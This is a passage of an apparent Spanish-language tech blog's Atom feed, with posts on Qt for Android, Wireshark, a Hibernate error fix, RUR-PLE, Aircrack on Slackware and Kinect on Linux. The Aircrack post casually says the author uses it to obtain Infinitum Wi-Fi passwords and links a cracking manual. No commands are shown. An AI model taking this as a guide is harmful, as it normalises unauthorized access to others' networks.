Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Albert Einstein: "Only a life lived for others is a life worth while" &lt;br /&gt;A pure soul on the net added to that: "Happiness is nothing unless you &lt;br /&gt;have someone to share it with. Those who only live and care for &lt;br /&gt;themselves end up miserable and lonely" &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Linus tolvalds: "Software is like sex; it's better when it's free." &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Thank you for your patience, support and consideration. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;Yours sincerely, &lt;br /&gt;BogDan Vatra. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;P.S. With your permission I would like to dedicate (only :P ) this &lt;br /&gt;release version to my son Radu, I had to sacrifice some of our free &lt;br /&gt;time to make this happen, so, this is how I can thank him !&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;A few videos about this.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/VU_zPnQrM6E/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/VU_zPnQrM6E&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/VU_zPnQrM6E&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-344586834864500326?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/344586834864500326/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/qt-for-android.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/344586834864500326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/344586834864500326'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/qt-for-android.html' title='QT for Android'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3245732544149733928</id><published>2011-02-16T08:06:00.000-08:00</published><updated>2011-02-16T08:07:18.081-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='usar wireshark'/><category scheme='http://www.blogger.com/atom/ns#' term='sniffer'/><category scheme='http://www.blogger.com/atom/ns#' term='wireshark'/><title type='text'>Wireshark, manual de uso para análisis de tráfico</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-gYFtrW7HQhk/TVv1wLbgBkI/AAAAAAAAACw/DJX9PazjhUc/s1600/wireshark_icon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-gYFtrW7HQhk/TVv1wLbgBkI/AAAAAAAAACw/DJX9PazjhUc/s1600/wireshark_icon.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Acabo de encontrar un manual de wireshark(sniffer) que parece estar muy bueno, la verdad es que tampoco se utilizar el sniffer a toda su capacidad, así que voy a leerlo, sin embargo aquí lo comparto para quien sea administrador de redes y requiera aprender a usar esta herramienta.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.4shared.com/document/k_w7Ulg0/Analisis_de_trafico_con_Wiresh.html"&gt;Lo pueden descargar en PDF desde aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Sin embargo también puede ser visualizado aquí mismo en el blog.&lt;br /&gt;&lt;br /&gt;Fuente: DragonJAR.com&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Haz clic en el centro de la imagen para verlo en pantalla completa.&lt;/strong&gt;&lt;br /&gt;&lt;object style="height: 450; width: 600;"&gt;&lt;param name="movie" value="http://static.issuu.com/webembed/viewers/style1/v1/IssuuViewer.swf?mode=embed&amp;amp;documentId=110216023643-8f27886200814a3fa894e5f63716f026&amp;amp;documentUsername=dragonjar&amp;amp;documentName=analisis_de_trafico_con_wireshark&amp;amp;layout=http%3A%2F%2Fskin.issuu.com%2Fv%2Flight%2Flayout.xml&amp;amp;showFlipBtn=true" /&gt;&lt;param name="allowFullScreen" value="true" /&gt;&lt;embed src="http://static.issuu.com/webembed/viewers/style1/v1/IssuuViewer.swf" type="application/x-shockwave-flash" allowFullScreen="true" style="width:600;height:450" flashvars="mode=embed&amp;amp;documentId=110216023643-8f27886200814a3fa894e5f63716f026&amp;amp;documentUsername=dragonjar&amp;amp;documentName=analisis_de_trafico_con_wireshark&amp;amp;layout=http%3A%2F%2Fskin.issuu.com%2Fv%2Flight%2Flayout.xml&amp;amp;showFlipBtn=true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3245732544149733928?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3245732544149733928/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/wireshark-manual-de-uso-para-analisis.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3245732544149733928'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3245732544149733928'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/wireshark-manual-de-uso-para-analisis.html' title='Wireshark, manual de uso para análisis de tráfico'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-gYFtrW7HQhk/TVv1wLbgBkI/AAAAAAAAACw/DJX9PazjhUc/s72-c/wireshark_icon.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-6692250017067698583</id><published>2011-02-10T16:28:00.000-08:00</published><updated>2011-02-10T16:28:12.943-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='hibernate'/><title type='text'>Solución: "org.hibernate.hql.ast.querysyntaxexception is not mapped from" en español</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.javabb.org/search_files/hibernate_logo.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://www.javabb.org/search_files/hibernate_logo.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Ya entrado en esto del Hibernate, me he dado cuenta que metí completamente la pata al querer realizar una consulta en HQL (Hibernate Query Languaje), como sabrán, si vamos a hacer una consulta equivalente al SQL por ejemplo:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;select * from registro_usuarios;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Su equivalente en HQL es:&lt;/span&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;from RegistroUsuarios &lt;/span&gt;&amp;nbsp;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;OJO por favor, en la consulta HQL escribimos "RegistroUsuarios" en lugar de "registro_usuarios", esto es porque se hace referencia al bean (o bien a la clase RegistroUsuarios.java, para los no natos) que mapea a la tabla "registro_usuarios". Si comenten el error de escribir la consulta HQL de la manera:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;from registro_usuarios&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;entonces obtendrán la espantosa excepción:&lt;/span&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;org.hibernate.hql.ast.querysyntaxexception &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;registro_usuarios &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;is not mapped from&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;Registro_Usuarios&lt;/span&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Bueno espero que les haya sido de ayuda, saludos...&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-6692250017067698583?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/6692250017067698583/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/solucion-orghibernatehqlastquerysyntaxe.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6692250017067698583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/6692250017067698583'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/solucion-orghibernatehqlastquerysyntaxe.html' title='Solución: &quot;org.hibernate.hql.ast.querysyntaxexception is not mapped from&quot; en español'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-2093193532936787547</id><published>2011-02-09T10:47:00.000-08:00</published><updated>2011-02-09T10:47:29.370-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>RUR-PLE, aprendiendo a usar phyton tanto niños como adultos</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://code.google.com/p/rur-ple/logo?cct=1262453167" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://code.google.com/p/rur-ple/logo?cct=1262453167" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Pues bien, gracias a una noticia de nuestros amigos de Linux Magazine en Español, me he enterado que existe este proyecto llamado "RUR-PLE". Como sabemos, aprender a programar en una computadora debiera ser fácil, tanto para adultos como para niños (aunque recuerden esto: cualquiera puede aprender a programar pero no todos aprenden a desarrollar software).&amp;nbsp;RUR-PLE es un ambiente de desarrollo diseñado especialmente para ayudarnos a programar utilizando Phyton como el lenguaje de codificación. Dentro del mundo de la Inteligencia Artificial aprenderás lo que significa crear un programa de computadora, para lo cual se utilizará un pequeño robot, el cual puede desarrollar varias tareas (virtualmente por supuesto).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;La página oficial del proyecto la puedes encontrar en dos sitios (al parecer el de google es el más reciente) :&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;a href="http://www.blogger.com/goog_103821922"&gt;https://code.google.com/p/rur-ple/&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;a href="http://rur-ple.sourceforge.net/"&gt;http://rur-ple.sourceforge.net/&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Fuente: &lt;a href="http://www.linux-magazine.es/"&gt;Linux Magazine en Español&lt;/a&gt;.&amp;nbsp;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-2093193532936787547?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/2093193532936787547/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/rur-ple-aprendiendo-usar-phyton-tanto.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2093193532936787547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/2093193532936787547'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/rur-ple-aprendiendo-usar-phyton-tanto.html' title='RUR-PLE, aprendiendo a usar phyton tanto niños como adultos'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3402399330787145262</id><published>2011-02-04T16:02:00.000-08:00</published><updated>2011-02-04T16:02:16.519-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='aircrack español'/><category scheme='http://www.blogger.com/atom/ns#' term='aircrack slackware'/><title type='text'>Aircrack en Slackware</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_ftTE5yk93Zc/TUyRn08N7jI/AAAAAAAAACs/Tuun8mjjFII/s1600/jc-aircrack-2.2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="222" src="http://1.bp.blogspot.com/_ftTE5yk93Zc/TUyRn08N7jI/AAAAAAAAACs/Tuun8mjjFII/s320/jc-aircrack-2.2.png" width="320" /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Desde hace unos años que aprendí a usar el air-crack para obtener contraseñas de Infinitum, la verdad es que no tiene mucha ciencia el saber usarlo cuando tienes una buena referencia.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;En mi caso siempre lo he hecho con slackware desde la versión 12.0 hasta la actual 13.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Pero qué es Aircrack?&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Es una suite de herramientas que permiten hacer auditoría para redes inalámbricas (wireless), esto es bajo el protocolo 802.11 con cifrado WEP o WPA-PSK (aunque la verdad a estas redes no les he puesto atención), la forma en que lo hace es colocando la tarjeta inalámbrica en modo promiscuo y capturando todos los paquetes de la red que le especifiquemos, para después aplicarle precisamente aircrack. Cabe resaltar que aircrack no es el único programa utilizado para realizar la auditoría de redes inalámbricas.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Aquí dejo un manual de aircrack paso a paso en español, lo puedes descargar desde &lt;/span&gt;&lt;a href="http://www.megaupload.com/?d=E1FF9ZE9"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;aquí&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Asimismo dejo un excelente repositorio de paquetes para Slackware (en mi opinión es el mejor) en la mayoría de las versiones de la distro, está en italiano, pero la verdad es de los mejores que he encontrado: &lt;a href="http://www.slacky.eu/"&gt;http://www.slacky.eu/&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3402399330787145262?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3402399330787145262/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/aircrack-en-slackware.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3402399330787145262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3402399330787145262'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/aircrack-en-slackware.html' title='Aircrack en Slackware'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ftTE5yk93Zc/TUyRn08N7jI/AAAAAAAAACs/Tuun8mjjFII/s72-c/jc-aircrack-2.2.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-3573491175244017627</id><published>2011-02-02T08:39:00.000-08:00</published><updated>2011-02-02T14:13:18.626-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='101ftb'/><title type='text'>Ganador de Libro en Michoacan</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.101ftb.com/?rid=T10Q20N162"&gt;&lt;img border="0" src="http://www.101freetechbooks.com/images/bannersx/250x250.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Habrán de saber, que el día de hoy he sido notificado que he ganado un libro gracias al sorteo mensual de la página 101 Free Tech Books.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Pueden acceder a la página &lt;/span&gt;&lt;a href="http://www.101ftb.com/?rid=T10Q20N162"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;101 Free Tech Books para registrarse y entrar al sorteo donde pueden ser ganadores aquí.&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;La verdad es que soy muy escéptico en esta clase de cosas, sin embargo ya aparecí en la página oficial de ganadores.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-3573491175244017627?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/3573491175244017627/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/ganador-de-libro-en-michoacan.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3573491175244017627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/3573491175244017627'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2011/02/ganador-de-libro-en-michoacan.html' title='Ganador de Libro en Michoacan'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-873813311049194301</id><published>2011-01-28T08:52:00.000-08:00</published><updated>2011-01-28T08:55:17.256-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='openkinect'/><category scheme='http://www.blogger.com/atom/ns#' term='español'/><category scheme='http://www.blogger.com/atom/ns#' term='kinect'/><category scheme='http://www.blogger.com/atom/ns#' term='xbox'/><title type='text'>Kinect bajo Linux</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://planetared.com/wp-content/uploads/2010/12/open-kinect.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://planetared.com/wp-content/uploads/2010/12/open-kinect.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Pues claro que no me he equivocado con el título del post, acabo de ver en un artículo de linux magazine en español, que apenas a unas cuantas horas de haber sacado al mercado el nuevo juguetito de Microsoft llamado Kinect, un hacker consiguió hacerlo funcionar bajo GNU/Linux, es decir, no precisó de días para hacerlo sino de algunas horas. En realidad el dispositivo no fue hackeado, sino que sólo se le aplicó ingeniería inversa a su protocolo de comunicación. Sin más aquí dejo algunos videos que muestran que se ha podido hacer:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Drivers libres para kinect en: &lt;a href="http://git.marcansoft.com/?p=libfreenect.git"&gt;http://git.marcansoft.com/?p=libfreenect.git&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Video demostrativo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/rKhW-cvpkks/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/rKhW-cvpkks?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/rKhW-cvpkks?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Vídeo de Florian Echtler utilizando el Kinect para manipular una aplicación multitouch&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/ho6Yhz21BJI/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ho6Yhz21BJI?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/ho6Yhz21BJI?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Descarga del software que permite usar Kinect como interfaz multitouch:&lt;br /&gt;&lt;a href="http://tisch.sourceforge.net/"&gt;http:// tisch.sourceforge.net/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Prueba de concepto de entorno 3D real de Oliver Kreylos:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://idav.ucdavis.edu/~okreylos/ResDev/Kinect/index.html"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;http://idav.ucdavis.edu/~okreylos/ResDev/Kinect/index.html&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;, sans-serif;"&gt;Entorno 3D real de 180 grados:&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://i.ytimg.com/vi/5-w7UXCAUJE/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5-w7UXCAUJE?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266" src="http://www.youtube.com/v/5-w7UXCAUJE?f=videos&amp;c=google-webdrive-0&amp;app=youtube_gdata" 